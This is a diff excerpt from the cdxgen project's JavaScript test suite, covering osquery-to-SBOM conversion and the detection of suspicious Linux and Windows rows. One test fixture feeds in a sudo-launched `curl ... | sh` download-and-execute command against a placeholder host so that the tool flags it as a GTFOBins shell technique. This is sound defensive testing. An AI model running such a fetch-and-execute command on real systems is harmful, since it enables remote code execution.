description: "/usr/share/keyrings/debian-archive-keyring.gpg",
|
|
11180
|
+
path: "/usr/share/keyrings/debian-archive-keyring.gpg",
|
|
11181
|
+
sha1: "b".repeat(40),
|
|
11182
|
+
sha256: "c".repeat(64),
|
|
11183
|
+
trust_domain: "apt",
|
|
11184
|
+
},
|
|
11185
|
+
],
|
|
11186
|
+
false,
|
|
11187
|
+
);
|
|
11188
|
+
assert.strictEqual(components.length, 1);
|
|
11189
|
+
assert.strictEqual(components[0].type, "cryptographic-asset");
|
|
11190
|
+
assert.strictEqual(components[0].purl, undefined);
|
|
11191
|
+
assert.ok(
|
|
11192
|
+
components[0]["bom-ref"].startsWith(
|
|
11193
|
+
"crypto/related-crypto-material/public-key/",
|
|
11194
|
+
),
|
|
11195
|
+
);
|
|
11196
|
+
assert.strictEqual(
|
|
11197
|
+
components[0].cryptoProperties?.assetType,
|
|
11198
|
+
"related-crypto-material",
|
|
11199
|
+
);
|
|
11200
|
+
assert.strictEqual(
|
|
11201
|
+
components[0].cryptoProperties?.relatedCryptoMaterialProperties?.type,
|
|
11202
|
+
"public-key",
|
|
11203
|
+
);
|
|
11204
|
+
assert.ok(
|
|
11205
|
+
components[0].hashes.some(
|
|
11206
|
+
(hash) => hash.alg === "SHA-256" && hash.content === "c".repeat(64),
|
|
11207
|
+
),
|
|
11208
|
+
);
|
|
11209
|
+
});
|
|
11210
|
+
|
|
11211
|
+
it("should preserve the full certificate crypto properties shape", () => {
|
|
11212
|
+
const components = convertOSQueryResults(
|
|
11213
|
+
"certificates",
|
|
11214
|
+
{
|
|
11215
|
+
purlType: "generic",
|
|
11216
|
+
componentType: "cryptographic-asset",
|
|
11217
|
+
},
|
|
11218
|
+
[
|
|
11219
|
+
{
|
|
11220
|
+
name: "ACCVRAIZ1",
|
|
11221
|
+
path: "/etc/ssl/certs/ACCVRAIZ1.crt",
|
|
11222
|
+
serial: "5EC3B7A6437FA4E0",
|
|
11223
|
+
subject: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11224
|
+
issuer: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11225
|
+
not_valid_before: "2011-05-05T09:37:37.000Z",
|
|
11226
|
+
not_valid_after: "2030-12-31T09:37:37.000Z",
|
|
11227
|
+
sha1: "1".repeat(40),
|
|
11228
|
+
},
|
|
11229
|
+
],
|
|
11230
|
+
false,
|
|
11231
|
+
);
|
|
11232
|
+
assert.strictEqual(components.length, 1);
|
|
11233
|
+
assert.strictEqual(components[0].type, "cryptographic-asset");
|
|
11234
|
+
assert.strictEqual(
|
|
11235
|
+
components[0].cryptoProperties?.assetType,
|
|
11236
|
+
"certificate",
|
|
11237
|
+
);
|
|
11238
|
+
assert.deepStrictEqual(
|
|
11239
|
+
components[0].cryptoProperties?.certificateProperties,
|
|
11240
|
+
{
|
|
11241
|
+
serialNumber: "5EC3B7A6437FA4E0",
|
|
11242
|
+
subjectName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11243
|
+
issuerName: "/CN=ACCVRAIZ1/OU=PKIACCV/O=ACCV/C=ES",
|
|
11244
|
+
notValidBefore: "2011-05-05T09:37:37.000Z",
|
|
11245
|
+
notValidAfter: "2030-12-31T09:37:37.000Z",
|
|
11246
|
+
certificateFormat: "X.509",
|
|
11247
|
+
certificateFileExtension: "crt",
|
|
11248
|
+
fingerprint: { alg: "SHA-1", content: "1".repeat(40) },
|
|
11249
|
+
},
|
|
11250
|
+
);
|
|
11251
|
+
});
|
|
11252
|
+
|
|
11253
|
+
it("should ignore empty occurrence locations when adding import evidence", async () => {
|
|
11254
|
+
const pkgList = [{ name: "lodash" }];
|
|
11255
|
+
const allImports = {
|
|
11256
|
+
lodash: [
|
|
11257
|
+
{
|
|
11258
|
+
fileName: " ",
|
|
11259
|
+
importedAs: "lodash",
|
|
11260
|
+
importedModules: ["map"],
|
|
11261
|
+
},
|
|
11262
|
+
],
|
|
11263
|
+
};
|
|
11264
|
+
|
|
11265
|
+
await addEvidenceForImports(pkgList, allImports, {}, false);
|
|
11266
|
+
|
|
11267
|
+
assert.strictEqual(pkgList[0].scope, "required");
|
|
11268
|
+
assert.strictEqual(pkgList[0].evidence, undefined);
|
|
11269
|
+
assert.deepStrictEqual(pkgList[0].properties, [
|
|
11270
|
+
{
|
|
11271
|
+
name: "ImportedModules",
|
|
11272
|
+
value: "lodash,lodash/map",
|
|
11273
|
+
},
|
|
11274
|
+
]);
|
|
11275
|
+
});
|
|
11276
|
+
|
|
9801
11277
|
it("should use identifier as package name for chrome-extension purl type", () => {
|
|
9802
11278
|
const components = convertOSQueryResults(
|
|
9803
11279
|
"chrome_extensions",
|
|
@@ -9826,6 +11302,32 @@ describe("convertOSQueryResults", () => {
|
|
|
9826
11302
|
assert.ok(propNames.includes("identifier"));
|
|
9827
11303
|
});
|
|
9828
11304
|
|
|
11305
|
+
it("should omit purl for osquery data components while keeping a stable bom-ref", () => {
|
|
11306
|
+
const components = convertOSQueryResults(
|
|
11307
|
+
"authorized_keys_snapshot",
|
|
11308
|
+
{
|
|
11309
|
+
purlType: "swid",
|
|
11310
|
+
componentType: "data",
|
|
11311
|
+
},
|
|
11312
|
+
[
|
|
11313
|
+
{
|
|
11314
|
+
name: "root",
|
|
11315
|
+
version: "ssh-ed25519",
|
|
11316
|
+
description: "ops@example.invalid",
|
|
11317
|
+
key_file: "/root/.ssh/authorized_keys",
|
|
11318
|
+
uid: "0",
|
|
11319
|
+
},
|
|
11320
|
+
],
|
|
11321
|
+
false,
|
|
11322
|
+
);
|
|
11323
|
+
assert.strictEqual(components.length, 1);
|
|
11324
|
+
assert.strictEqual(components[0].purl, undefined);
|
|
11325
|
+
assert.strictEqual(
|
|
11326
|
+
components[0]["bom-ref"],
|
|
11327
|
+
"osquery:authorized_keys_snapshot:data:root@ssh-ed25519[key_file=/root/.ssh/authorized_keys]",
|
|
11328
|
+
);
|
|
11329
|
+
});
|
|
11330
|
+
|
|
9829
11331
|
it("should add LOLBAS properties to suspicious windows osquery rows", () => {
|
|
9830
11332
|
const components = convertOSQueryResults(
|
|
9831
11333
|
"windows_run_keys",
|
|
@@ -9843,6 +11345,11 @@ describe("convertOSQueryResults", () => {
|
|
|
9843
11345
|
false,
|
|
9844
11346
|
);
|
|
9845
11347
|
assert.strictEqual(components.length, 1);
|
|
11348
|
+
assert.strictEqual(components[0].purl, undefined);
|
|
11349
|
+
assert.strictEqual(
|
|
11350
|
+
components[0]["bom-ref"],
|
|
11351
|
+
"osquery:windows_run_keys:data:HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater@unknown",
|
|
11352
|
+
);
|
|
9846
11353
|
const propertyMap = Object.fromEntries(
|
|
9847
11354
|
components[0].properties.map((property) => [
|
|
9848
11355
|
property.name,
|
|
@@ -9855,4 +11362,221 @@ describe("convertOSQueryResults", () => {
|
|
|
9855
11362
|
assert.ok(propertyMap["cdx:lolbas:functions"].includes("download"));
|
|
9856
11363
|
assert.ok(propertyMap["cdx:lolbas:attackTechniques"].includes("T1059.001"));
|
|
9857
11364
|
});
|
|
11365
|
+
|
|
11366
|
+
it("should add GTFOBins properties to suspicious Linux osquery rows", () => {
|
|
11367
|
+
if (platform() !== "linux") {
|
|
11368
|
+
return;
|
|
11369
|
+
}
|
|
11370
|
+
const components = convertOSQueryResults(
|
|
11371
|
+
"sudo_executions",
|
|
11372
|
+
{
|
|
11373
|
+
purlType: "swid",
|
|
11374
|
+
componentType: "application",
|
|
11375
|
+
},
|
|
11376
|
+
[
|
|
11377
|
+
{
|
|
11378
|
+
name: "bash",
|
|
11379
|
+
path: "/usr/bin/bash",
|
|
11380
|
+
cmdline: "bash -c 'curl https://example.invalid/p.sh | sh'",
|
|
11381
|
+
parent_cmdline: "sudo bash -c payload",
|
|
11382
|
+
},
|
|
11383
|
+
],
|
|
11384
|
+
false,
|
|
11385
|
+
);
|
|
11386
|
+
assert.strictEqual(components.length, 1);
|
|
11387
|
+
assert.ok(components[0].purl?.startsWith("pkg:swid/bash"));
|
|
11388
|
+
const propertyMap = Object.fromEntries(
|
|
11389
|
+
components[0].properties.map((property) => [
|
|
11390
|
+
property.name,
|
|
11391
|
+
property.value,
|
|
11392
|
+
]),
|
|
11393
|
+
);
|
|
11394
|
+
assert.strictEqual(propertyMap["cdx:gtfobins:matched"], "true");
|
|
11395
|
+
assert.ok(propertyMap["cdx:gtfobins:names"].includes("bash"));
|
|
11396
|
+
assert.ok(propertyMap["cdx:gtfobins:functions"].includes("shell"));
|
|
11397
|
+
assert.ok(
|
|
11398
|
+
propertyMap["cdx:gtfobins:queryCategory"].includes("sudo_executions"),
|
|
11399
|
+
);
|
|
11400
|
+
});
|
|
11401
|
+
|
|
11402
|
+
it("collectExecutables() prefers usr-merged executable paths", () => {
|
|
11403
|
+
if (process.platform === "win32") {
|
|
11404
|
+
return;
|
|
11405
|
+
}
|
|
11406
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
|
|
11407
|
+
try {
|
|
11408
|
+
mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
|
|
11409
|
+
mkdirSync(path.join(tempDir, "usr", "sbin"), { recursive: true });
|
|
11410
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
|
|
11411
|
+
writeFileSync(
|
|
11412
|
+
path.join(tempDir, "usr", "sbin", "zramctl"),
|
|
11413
|
+
"#!/bin/sh\n",
|
|
11414
|
+
);
|
|
11415
|
+
chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
|
|
11416
|
+
chmodSync(path.join(tempDir, "usr", "sbin", "zramctl"), 0o755);
|
|
11417
|
+
symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
|
|
11418
|
+
symlinkSync(
|
|
11419
|
+
path.join(tempDir, "usr", "sbin"),
|
|
11420
|
+
path.join(tempDir, "sbin"),
|
|
11421
|
+
);
|
|
11422
|
+
|
|
11423
|
+
const result = collectExecutables(tempDir, [
|
|
11424
|
+
"/bin",
|
|
11425
|
+
"/usr/bin",
|
|
11426
|
+
"/sbin",
|
|
11427
|
+
"/usr/sbin",
|
|
11428
|
+
]);
|
|
11429
|
+
|
|
11430
|
+
assert.deepStrictEqual(result, ["usr/bin/which", "usr/sbin/zramctl"]);
|
|
11431
|
+
} finally {
|
|
11432
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11433
|
+
}
|
|
11434
|
+
});
|
|
11435
|
+
|
|
11436
|
+
it("collectExecutables() resolves followed symlink targets in dry-run mode", () => {
|
|
11437
|
+
if (process.platform === "win32") {
|
|
11438
|
+
return;
|
|
11439
|
+
}
|
|
11440
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
|
|
11441
|
+
setDryRunMode(true);
|
|
11442
|
+
resetRecordedActivities();
|
|
11443
|
+
try {
|
|
11444
|
+
mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
|
|
11445
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "which"), "#!/bin/sh\n");
|
|
11446
|
+
chmodSync(path.join(tempDir, "usr", "bin", "which"), 0o755);
|
|
11447
|
+
symlinkSync(path.join(tempDir, "usr", "bin"), path.join(tempDir, "bin"));
|
|
11448
|
+
|
|
11449
|
+
const result = collectExecutables(tempDir, ["/bin"]);
|
|
11450
|
+
|
|
11451
|
+
assert.deepStrictEqual(result, ["usr/bin/which"]);
|
|
11452
|
+
const symlinkActivities = getRecordedActivities().filter(
|
|
11453
|
+
(activity) => activity.kind === "symlink-resolution",
|
|
11454
|
+
);
|
|
11455
|
+
for (const symlinkActivity of symlinkActivities) {
|
|
11456
|
+
assert.strictEqual(symlinkActivity.traceDetail, undefined);
|
|
11457
|
+
}
|
|
11458
|
+
} finally {
|
|
11459
|
+
setDryRunMode(false);
|
|
11460
|
+
resetRecordedActivities();
|
|
11461
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11462
|
+
}
|
|
11463
|
+
});
|
|
11464
|
+
|
|
11465
|
+
it("collectExecutables() skips files already owned by OS packages", () => {
|
|
11466
|
+
if (process.platform === "win32") {
|
|
11467
|
+
return;
|
|
11468
|
+
}
|
|
11469
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-executables-"));
|
|
11470
|
+
try {
|
|
11471
|
+
mkdirSync(path.join(tempDir, "usr", "bin"), { recursive: true });
|
|
11472
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "owned"), "#!/bin/sh\n");
|
|
11473
|
+
writeFileSync(path.join(tempDir, "usr", "bin", "unowned"), "#!/bin/sh\n");
|
|
11474
|
+
chmodSync(path.join(tempDir, "usr", "bin", "owned"), 0o755);
|
|
11475
|
+
chmodSync(path.join(tempDir, "usr", "bin", "unowned"), 0o755);
|
|
11476
|
+
|
|
11477
|
+
const result = collectExecutables(
|
|
11478
|
+
tempDir,
|
|
11479
|
+
["/usr/bin"],
|
|
11480
|
+
["/usr/bin/owned"],
|
|
11481
|
+
);
|
|
11482
|
+
|
|
11483
|
+
assert.deepStrictEqual(result, ["usr/bin/unowned"]);
|
|
11484
|
+
} finally {
|
|
11485
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11486
|
+
}
|
|
11487
|
+
});
|
|
11488
|
+
|
|
11489
|
+
it("collectSharedLibs() preserves symlink alias entries while tracing resolutions", () => {
|
|
11490
|
+
if (process.platform === "win32") {
|
|
11491
|
+
return;
|
|
11492
|
+
}
|
|
11493
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
|
|
11494
|
+
try {
|
|
11495
|
+
mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
|
|
11496
|
+
writeFileSync(path.join(tempDir, "usr", "lib", "libfoo.so.1"), "binary");
|
|
11497
|
+
symlinkSync(
|
|
11498
|
+
path.join(tempDir, "usr", "lib", "libfoo.so.1"),
|
|
11499
|
+
path.join(tempDir, "usr", "lib", "libfoo.so"),
|
|
11500
|
+
);
|
|
11501
|
+
|
|
11502
|
+
const result = collectSharedLibs(tempDir, ["/usr/lib"]);
|
|
11503
|
+
|
|
11504
|
+
assert.deepStrictEqual(result, [
|
|
11505
|
+
"usr/lib/libfoo.so",
|
|
11506
|
+
"usr/lib/libfoo.so.1",
|
|
11507
|
+
]);
|
|
11508
|
+
} finally {
|
|
11509
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11510
|
+
}
|
|
11511
|
+
});
|
|
11512
|
+
|
|
11513
|
+
it("collectSharedLibs() skips libraries already owned by OS packages", () => {
|
|
11514
|
+
if (process.platform === "win32") {
|
|
11515
|
+
return;
|
|
11516
|
+
}
|
|
11517
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-shared-libs-"));
|
|
11518
|
+
try {
|
|
11519
|
+
mkdirSync(path.join(tempDir, "usr", "lib"), { recursive: true });
|
|
11520
|
+
writeFileSync(path.join(tempDir, "usr", "lib", "libowned.so.1"), "owned");
|
|
11521
|
+
writeFileSync(
|
|
11522
|
+
path.join(tempDir, "usr", "lib", "libunowned.so.1"),
|
|
11523
|
+
"unowned",
|
|
11524
|
+
);
|
|
11525
|
+
|
|
11526
|
+
const result = collectSharedLibs(
|
|
11527
|
+
tempDir,
|
|
11528
|
+
["/usr/lib"],
|
|
11529
|
+
undefined,
|
|
11530
|
+
undefined,
|
|
11531
|
+
["/usr/lib/libowned.so.1"],
|
|
11532
|
+
);
|
|
11533
|
+
|
|
11534
|
+
assert.deepStrictEqual(result, ["usr/lib/libunowned.so.1"]);
|
|
11535
|
+
} finally {
|
|
11536
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
11537
|
+
}
|
|
11538
|
+
});
|
|
11539
|
+
|
|
11540
|
+
it("recordSymlinkResolution() normalizes mixed path separators before comparing paths", () => {
|
|
11541
|
+
setDryRunMode(true);
|
|
11542
|
+
resetRecordedActivities();
|
|
11543
|
+
try {
|
|
11544
|
+
const activity = recordSymlinkResolution(
|
|
11545
|
+
"usr\\bin\\which",
|
|
11546
|
+
"usr/bin/which",
|
|
11547
|
+
);
|
|
11548
|
+
assert.strictEqual(activity, undefined);
|
|
11549
|
+
assert.deepStrictEqual(getRecordedActivities(), []);
|
|
11550
|
+
} finally {
|
|
11551
|
+
setDryRunMode(false);
|
|
11552
|
+
resetRecordedActivities();
|
|
11553
|
+
}
|
|
11554
|
+
});
|
|
11555
|
+
|
|
11556
|
+
it("recordSymlinkResolution() normalizes failed resolution paths without exposing trace detail", () => {
|
|
11557
|
+
setDryRunMode(true);
|
|
11558
|
+
resetRecordedActivities();
|
|
11559
|
+
try {
|
|
11560
|
+
recordSymlinkResolution("/tmp/root/usr/lib/libfoo.so", undefined, {
|
|
11561
|
+
basePath: "/tmp/root",
|
|
11562
|
+
errorCode: "ENOENT",
|
|
11563
|
+
metadata: {
|
|
11564
|
+
resolutionKind: "shared-library",
|
|
11565
|
+
},
|
|
11566
|
+
status: "failed",
|
|
11567
|
+
});
|
|
11568
|
+
const symlinkActivity = getRecordedActivities().find(
|
|
11569
|
+
(activity) => activity.kind === "symlink-resolution",
|
|
11570
|
+
);
|
|
11571
|
+
assert.ok(symlinkActivity);
|
|
11572
|
+
assert.strictEqual(symlinkActivity.target, "usr/lib/libfoo.so");
|
|
11573
|
+
assert.strictEqual(symlinkActivity.errorCode, "ENOENT");
|
|
11574
|
+
assert.strictEqual(symlinkActivity.traceDetail, undefined);
|
|
11575
|
+
assert.strictEqual(symlinkActivity.resolvedPath, undefined);
|
|
11576
|
+
assert.strictEqual(symlinkActivity.status, "failed");
|
|
11577
|
+
} finally {
|
|
11578
|
+
setDryRunMode(false);
|
|
11579
|
+
resetRecordedActivities();
|
|
11580
|
+
}
|
|
11581
|
+
});
|
|
9858
11582
|
});
|